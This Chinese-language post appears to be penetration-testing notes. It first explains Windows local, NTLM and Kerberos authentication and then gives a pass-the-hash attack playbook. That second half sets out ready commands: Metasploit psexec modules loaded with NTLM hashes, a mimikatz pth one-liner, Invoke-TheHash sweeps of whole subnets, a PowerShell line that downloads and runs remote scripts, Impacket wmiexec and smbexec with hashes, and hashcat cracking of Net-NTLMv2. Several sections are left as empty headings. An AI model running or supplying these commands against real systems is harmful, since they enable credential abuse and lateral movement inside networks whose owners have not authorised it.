一、Windows认证机制
1.Windows认证基础
Windows的认证包括三个部分:
- 本地认证:用户直接操作计算机登陆账户
- 网络认证:远程连接到工作组中的某个设备
- 域认证:登陆到域环境中的某个设备
2.本地认证
(1)本地认证基本流程
- 用户输入密码
- 系统收到密码后将用户输入的密码计算成NTLM HASH(lsass.exe进程处理输入的密码)
- 与SAM数据库(%SystemRoot%\system32\config\sam)中该用户的哈希比对
- 匹配则登陆成功,不匹配则登陆失败
(2)NTLM哈希
NTLM哈希,是一种单向哈希算法,Windows将用户的密码计算成NTLM哈希之后才存储在电脑中。
大致的运算流程为:用户密码->HEX编码->Unicode编码->MD4
NTLM Hash的前身是LM Hash,由于存在安全缺陷已经被淘汰,本地认证中用来处理用户输入密码的进程为lsass.exe,密码会在这个进程中明文保存,供该进程将密码计算成NTLM HASH与SAM进行比对,我们使用mimikatz来获取的明文密码,便是在这个进程中读取到的。
3.网络认证
网络认证即在工作组环境下远程登陆另一台电脑所采用的认证机制
NTLM协议的认证过程分为三步,也叫挑战响应机制:
(1)协商
双方确定使用的协议版本,NTLM存在V1和V2两个版本,即Net-NTLM v1 hash、Net-NTLM v2 hash,具体区别就是加密方式不同
在NTLM认证中,NTLM响应分为NTLM v1,NTLMv2,NTLM session v2三种协议,不同协议使用不同格式的Challenge和加密算法
(2)质询
挑战(Chalenge)/响应(Response)认证机制的核心
- 客户端向服务器端发送用户信息(用户名)请求。
- 服务器接受到请求后,判断本地用户列表是否存在客户端发送的用户名,如果没有返回认证失败,如果有,生成一个16位的随机数,被称之为"Challenge", 然后使用登录用户名对应的NTLM Hash加密Challenge(16位随机字符), 生成Challenge1保存在内存中。同时,生成Challenge1后,将Challenge(16位随机字符)明文发送给客户端。
- 客户端接受到Challenge后,使用自己提供的账户的密码转换成对应的NTLM Hash,然后使用这个NTLM Hash加密Challenge生成Response,然后将Response发送至服务器端。
(3)验证
在质询完成后,验证结果,是认证的最后一步。
服务端收到客户端发送的Response后,与之前保存在内存中的Channelge1比较,如果相等认证通过。
其中,经过NTLM Hash加密Challenge的结果在网络协议中称之为Net NTLM Hash(不能直接用来进行哈希传递攻击,但可以通过暴力破解来获取明文密码)
其中的关键点在于:第二步中客户端发送的是NTLM哈希值与随机字符串加密的结果,而这个NTLM哈希是由用户输入的密码本地计算得出的,所以在这个步骤中,只要能提供正确的NTLM哈希即使不知道正确的密码也可通过认证。
- Hashcat破解Net NTLM Hash
NTLMv2的格式为:
username::domain:challenge:HMAC-MD5:blob
hashcat -m 5600 net-ntlm /tmp/password.list -o found.txt --force
-m:hash-type,5600对应NetNTLMv2
-o:输出文件 字典文件为/tmp/password.list
--force:代表强制执行,测试系统不支持Intel OpenCL
详细参数可查表:https://hashcat.net/wiki/doku.php
4.域认证
域内认证即采用了Kerberos协议的认证机制,与前两者相比最大的区别是有个一个可信的第三方机构KDC的参与。
参与域认证的三个角色:
- Client
- Server
- KDC(Key Distribution Center) = DC(Domain Controller) = AD(Account Database)+ AS(Authenication Service)+ TGS(Ticket Granting Service)
从物理层面看,AD与AS,TGS,KDC均为域控制器(Domain Controller)。
(1)Kerberos认证协议的基础概念
- 票据(Ticket):是网络对象互相访问的凭证。
- TGT (Ticket Granting Ticket):看英文名就知道,用来生成Ticket的Ticket。
- AD (Account Database):存储域中所有用户的用户名和对应的NTLM Hash,可以理解为域中的SAM数据库,KDC可以从AD中提取域中所有用户的NTLM Hash,这是Kerberos协议能够成功实现的基础。
- KDC (Key Distribution Center):密钥分发中心,负责管理票据、认证票据、分发票据,里面包含两个服务:AS和TGS。
- AS (Authentication Server):身份认证服务,为Client生成TGT的服务,也用来完成对Client的身份验证。
- TGS (Ticket Granting Server):票据授予服务,为Client生成允许对某个服务访问的ticket,就是Client从AS那里拿到TGT之后,来TGS这里再申请对某个特定服务或服务器访问的Ticket,只有获取到这个Ticket,Client才有权限去访问对应的服务,该服务提供的票据也称为 TGS 或者叫白银票据。
- TGT (Ticket Granting Ticket):由身份认证服务授予的票据(黄金票据),用于身份认证,存储在内存,默认有效期为10小时。
注意:
- Client 密钥 TGS密钥 和 Service 密钥 均为对应用户的NTLM Hash。
- TGS密钥 == KDC Hash == krbtgt用户的NTLM Hash。
- Server 和 Service可以当作一个东西,就是Client想要访问的服务器或者服务 S Client/(TGS/Server)。
- Sessionkey 可以看作客户端与TGS服务和尝试登陆的Server之间会话时用来加密的密钥,而(Client/TGS/Service)密钥(上面提到的三个实际为NTLM Hash的密钥)是用来加密会话密钥的密钥,为了保证会话密钥的传输安全,这些加密方式均为对称加密。
- 参与认证的三个角色的NTLM Hash是三个密钥,这三个NTLM Hash的唯一作用是确保会话密钥Sessionkey的安全传输。
5.Kerbreros认证流程

(1)用户登录
用户输入 [用户名] 和 [密码] 信息
在客户端,用户输入的 [密码] 通过计算生成NTLM哈希作做为 [CLIENT密钥]

(2)请求身份认证
<1>客户端向AS(身份认证服务)发送认证请求
客户端向AS发送认证请求,请求中带有明文的 [用户名] 信息
此时并未发送[密码]或[密钥]信息
<2>AS确认Client端登录者用户身份


注意:
- AS响应的消息中有一条是属于Client的,但另外一条却属于TGS。
- Client/TGS SessionKey出现了两个Copy,一个给Client端,一个给TGS端。
- 认证过程中的加密除哈希外均采用的是对称加密算法。
(3)请求服务授权
<1>客户端向TGS发送请求服务授权请求

客户端发送的请求中包含如下两个消息:
- Msg C
要请求的服务ID, 即[Service ID]
上一步2.2中由AS为Client提供的TGT
- Msg D
使用 CLIENT/TGS SESSIONKEY 加密的Authenticator 1 {Client ID, Timestamp}

KDC接收到TGT与其他内容后,会首先使用KDC 的NTLM Hash解密TGT,只有KDC可以解密TGT,从TGT中提取到CLIENT/TGS SESSIONKEY ,再使用 CLIENT/TGS SESSIONKEY 解密Authenticator 1,获取到{Client ID, Timestamp} 并与通过解密TGT获取到的{Client ID, 有效时间}进行对比。
<2>TGS为Client响应服务授权票据


(4)发送服务请求
<1>Client向Service Server发送服务请求


<2>SS响应Client


6.票据伪造原理
(1)小标题


二、PASS THE HASH(PTH)
1.PTH简介
PASS THE HASH 也叫Hash传递攻击,简称PTH。模拟用户登录,不需要用户明文密码就可以直接用获取到的Hash来登录目标系统。
利用成功的前提条件是:
- 开启445端口 SMB服务
- 开启admin$共享
2.Metasploit PTH
(1)psexec_command
执行单个命令的PTH模块:auxiliary/admin/smb/psexec_command (无法获取管理员明文密码的情况下,通过执行一条命令用于验证用户和HASH密码)
msf5 > use auxiliary/admin/smb/psexec_command
msf5 auxiliary(admin/smb/psexec_command) > set rhosts 192.168.1.52 (可批量设置IP,用于验证NTLM哈希是否正确,类似撞库攻击)
msf5 auxiliary(admin/smb/psexec_command) > set smbuser administrator
msf5 auxiliary(admin/smb/psexec_command) > set smbpass aad3b435b51404eeaad3b435b51404ee:579110c49145015c47ecd267657d3174 (注意要有:,lm哈希可以为任意32位字符)
msf5 auxiliary(admin/smb/psexec_command) > set command "whoami"
msf5 auxiliary(admin/smb/psexec_command) > run
(2)psexec
执行直接就获取到meterpreter的PTH模块:exploit/windows/smb/psexec (用于直接获取shell)
<1>工作组

<2>域

(3)psexec_psh
支持对一个网段进行PTH进行验证的模块:exploit/windows/smb/psexec_psh (批量获取shell,推荐使用exploit -j后台执行)

3.Mimikatz PTH (不需要通过IPC连接进行远程访问主机)
当我们获得了内网中一台主机的NTLM哈希值,我们可以利用mimikatz对这个主机进行哈希传递攻击,执行命令成功后将会反弹回cmd。
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:172.26.3.18 /ntlm:c795842f79e3bb7c7350f11208ed4313" exit
在弹出的cmd中,我们还可以直接连接该主机,还可以查看目录文件等操作:
net use \\192.168.1.170\c$
dir \\192.168.1.170\c$
copy 1.exe \\192.168.1.170\c$
net use h: \\192.168.1.170\c$
4.CobaltStrike PTH
(1)工作组
略
(2)域
略
5.Powershell PTH(批量明了)
https://github.com/Kevin-Robertson/Invoke-TheHash
使用已知管理员hash,批量撞指定网段机器,此方式同时适用于工作组和域环境。
需要同时加载Invoke-WMIExec.ps1、Invoke-TheHash.ps1
加载脚本:
powershell -exec bypass
Import-Module .\Invoke-WMIExec.ps1
Import-Module .\Invoke-TheHash.ps1
powershell -exec bypass
IEX (New-Object Net.WebClient).DownloadString('http://192.168.3.86:8000/Invoke-WMIExec.ps1');
IEX (New-Object Net.WebClient).DownloadString('http://192.168.3.86:8000/Invoke-TheHash.ps1');
Invoke-TheHash -Type WMIExec -Target 192.168.1.0/24 -Username administrator -Hash 579110c49145015c47ecd267657d3174
利用已有管理员hash,批量撞指定网段机器:
<1>工作组:
PS C:\Users\Administrator> Invoke-TheHash -Type WMIExec -Target 192.168.1.0/24 -Username
administrator -Hash 579110c49145015c47ecd267657d3174
<2>域:
PS C:\Users\Administrator> Invoke-TheHash -Type WMIExec -Target 10.10.10.0/24 -Domain de1ay -
Username administrator -Hash e1c61709dffcf154ac9d77b5024f6d10
6.Impacket PTH
(1)命令执行(直接使用Impacket工具包中的工具)
python2 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:579110c49145015c47ecd267657d3174 administrator@192.168.1.52 "whoami"
(2)反弹shell
python2 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:579110c49145 015c47ecd267657d3174 administrator@192.168.1.52
Comments | NOTHING